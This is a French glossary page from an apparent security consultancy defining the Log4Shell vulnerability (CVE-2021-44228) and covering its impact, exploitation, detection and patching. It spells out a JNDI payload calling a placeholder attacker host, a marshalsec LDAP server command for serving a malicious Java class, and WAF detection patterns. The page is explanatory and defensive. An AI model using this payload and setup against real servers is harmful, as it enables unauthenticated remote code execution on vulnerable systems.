Aller au contenu principal
Expert Cybersécurité & IAv9.0
Centres de ressources conformité
Besoin d'un accompagnement expert ?
Devis personnalisé sous 24h — audit, conformité, incident
Checklists Sécurité — Audit & Durcissement
Formats disponibles
📄 PDF 📊 Excel 🌐 Web

11 checklists professionnelles couvrant 2 200+ points de contrôle. Téléchargement gratuit, aucune inscription.

Log4Shell

hacking

Définition

Log4Shell (CVE-2021-44228) est une vulnérabilité critique (CVSS 10.0) dans la bibliothèque de journalisation Java Apache Log4j 2, permettant l'exécution de code à distance via une injection JNDI (Java Naming and Directory Interface). Divulguée le 9 décembre 2021, elle a été qualifiée de pire vulnérabilité de la décennie en raison de l'omniprésence de Log4j dans les applications Java. La vulnérabilité exploite la fonctionnalité de substitution de messages de Log4j : si une chaîne journalisée contient ${jndi:ldap://attaquant.com/exploit}, Log4j tente de résoudre cette expression JNDI en se connectant au serveur LDAP de l'attaquant. Ce serveur LDAP peut retourner une référence à un objet Java hébergé sur un serveur HTTP, que la JVM cible télécharge et exécute. La RCE est instantanée et n'exige aucune authentification préalable. L'impact extraordinaire de Log4Shell résulte de la distribution de Log4j dans pratiquement toutes les applications Java modernes : serveurs VMware vCenter, Cisco products, Minecraft, Steam, Apple iCloud, Amazon AWS, Fortinet products, et des milliers d'applications métier utilisent Log4j pour la journalisation. Le payload peut être injecté dans tout champ journalisé : User-Agent, X-Forwarded-For, paramètres GET/POST, headers HTTP personnalisés. Les scanners Log4Shell (log4j-scan, FullHunt's scanner) testent automatiquement des milliers d'endpoints en injectant des payloads JNDI avec des callbacks DNS (via Burp Collaborator ou interact.sh) pour détecter les instances vulnérables. La correction nécessite la mise à jour vers Log4j 2.17.1+ (la version 2.15 et 2.16 avaient des bypasses partiels). La mitigation temporaire (LOG4J_FORMAT_MSG_NO_LOOKUPS=true) désactive les lookups mais n'est pas complète.

Fonctionnement

Payload minimal : ${jndi:ldap://attaquant.com:389/exploit} injecté dans User-Agent ou tout champ journalisé. Sur le serveur attaquant : démarrer marshalsec LDAP server (java -cp marshalsec-0.0.3.jar marshalsec.jndi.LDAPRefServer 'http://attaquant.com:8888/#Exploit') + servir une classe Java malveillante. Quand Log4j journalise la requête, il résout le JNDI, télécharge Exploit.class, et l'exécute dans la JVM cible. RCE immédiate en tant que l'utilisateur Java.

Exploitation offensive

Log4Shell a permis de compromettre des milliers d'applications d'entreprise directement depuis Internet en quelques jours post-divulgation. Des APT et des ransomwares ont exploité Log4Shell pour un accès initial sur des applications Java exposées (vCenter, Confluence, serveurs d'authentification) avant une propagation latérale vers AD.

Détection et mitigation

Mettre à jour Log4j vers 2.17.1+. Bloquer les connexions JNDI sortantes depuis les serveurs d'application (LDAP, RMI vers des IPs externes) via le firewall. Les WAF avec signatures Log4Shell (patterns jndi:, ${, ldap://) bloquent les exploitations directes mais peuvent être bypassés avec des encodages. Defender for Endpoint et les SIEM détectent les lookups DNS/LDAP vers des domaines de C2 connus.

Articles liés

Un projet cybersécurité ?

Expert dispo · Réponse 24h

Devis